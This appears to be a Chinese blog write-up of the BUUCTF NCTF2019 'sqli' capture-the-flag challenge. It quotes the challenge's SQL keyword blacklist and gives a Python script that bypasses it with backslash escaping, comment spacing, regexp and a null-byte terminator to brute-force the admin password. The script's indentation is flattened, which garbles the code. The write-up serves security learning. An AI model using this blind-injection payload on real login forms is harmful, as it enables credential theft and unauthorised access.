55.【5】BUUCTF WEB NCTF2019 sqli

embedded/2025/1/18 14:35:38/

84a7123a1d9d4457a08e2ac629899a59.jpeg

进入靶场

ab709a96da1a4261b40487f4493d43fa.png

db5118865f3f40f3b3a3d68628670d70.png

3c1f518c629344d89d979b29c0f5950a.png

输入admin 123

ad169294aadf442e9c81bc832329e010.png

05830aac7e6c47499dc7ff999e8da65f.png

过滤的这么严格???

08e6a2ad75ee4aef85dbe03e84266f74.png

0fef2b62ac5d4a62878809b5047b4cbb.png

过滤很严格,此时要么爆破,要么扫描

直接扫描,得到robots.txt

a88cfa3274224cc3a873c55e8871f40d.png

访问后又得到hint.txt

继续访问

3753893fcdf6475682ff8be3c71f196c.png

图片内容如下

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

所以我们必须要绕过黑名单,而且密码必须等于管理员的密码,但admin也被过滤了

看了别人的wp

需要进行正则匹配,需要python脚本

下面的代码会跑出密码

import requests
from urllib import parse
import stringurl = '。。。。。。。。。。。。'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'
for i in range (1,60):if num == 1 :breakfor j in string:data = {"username":"\\","passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))}print(result+j)res = requests.post(url=url,data=data)if 'welcome' in res.text:result += jbreakif j=='_' and 'welcome' not in res.text:break

 

709d34974d6e426e8aadc52642e1c7e9.png

此时输入用户名(只要不是黑名单里的就行)和密码(跑出来的)即可

69d62d0c8147479cb3bd4571b5d47df0.png

over

笔记

1,连续2道题用到python脚本了

2,学习了正则匹配

 

 

 


http://www.ppmy.cn/embedded/154966.html

相关文章

每日进步一点点(网安)

1.BUU CODE REVIEW 1 先看源代码 <?phphighlight_file(__FILE__);class BUU {public $correct "";public $input "";public function __destruct() {try {$this->correct base64_encode(uniqid());if($this->correct $this->input) {ec…

NLP DAY2: 文本数据处理(一部分)

事情无论巨细&#xff0c;往往存在一个准备阶段。比如做饭炒菜&#xff0c;需要择菜、洗菜、切菜、热锅等准备工作&#xff1b;出远门需要整理好身份证、手机、钱包等随身物品。类似地&#xff0c;在处理文本的任务中&#xff0c;也存在预处理这么一个重要阶段&#xff0c;包括…

【数据分析与可视化】Python绘制数据地图-GeoPandas地图可视化

本文主要介绍GeoPandas结合matplotlib实现地图的基础可视化。GeoPandas是一个Python开源项目&#xff0c;旨在提供丰富而简单的地理空间数据处理接口。GeoPandas扩展了Pandas的数据类型&#xff0c;并使用matplotlib进行绘图。GeoPandas官方仓库地址为&#xff1a;GeoPandas。G…

【深度学习】Windows系统Anaconda + CUDA + cuDNN + Pytorch环境配置

在做深度学习内容之前&#xff0c;为GPU配置anaconda CUDA cuDNN pytorch环境&#xff0c;在网络上参考了很多帖子&#xff0c;但pytorch的安装部分都有些问题或者比较复杂繁琐&#xff0c;这里总结了相对简单快速的配置方式 文章目录 AnacondaCUDAcuDNNpytorchtorchtorchau…

高阶数据结构之跳表

跳表也是一种查找结构&#xff0c;能够快速的查找到数据。 其地位和二叉搜索树、哈希表类似&#xff0c;因此我们来学习跳表这个结构把。 跳表概念 跳表作为一种查找结构&#xff0c;能够设置为 key 或者 key/value 型的结构。 它的最初思路是这样的&#xff1a;每隔两个节点…

利用 Java 爬虫获取 1688 商品评论的实践指南

在电商领域&#xff0c;商品评论是消费者决策的重要参考因素&#xff0c;同时也是商家了解产品反馈、优化服务的关键数据来源。1688 作为国内知名的 B2B 电商平台&#xff0c;拥有海量的商品评论数据。本文将详细介绍如何利用 Java 爬虫技术获取 1688 商品评论&#xff0c;并提…

北京市房屋建筑物轮廓shp数据arcgis高度字段内容下载分析

标题中的“北京市房屋建筑物轮廓shp数据arcgis高度字段”涉及到的是地理信息系统&#xff08;GIS&#xff09;中的数据格式和属性字段。在GIS领域&#xff0c;SHP&#xff08;Shapefile&#xff09;是一种常见的矢量数据格式&#xff0c;用于存储地理空间特征&#xff0c;如点、…

Count-Min Sketch

An Improved Data Stream Summary: The Count-Min Sketch and its Applications 目的: 解决大数据中的频繁项(Heavy Hitters)问题(参考大数据流的在线Heavy Hitters算法&#xff08;上篇&#xff09;&#xff1a;基于计数器的方法-CSDN博客) 核心思想&#xff1a; 可以把CMS看…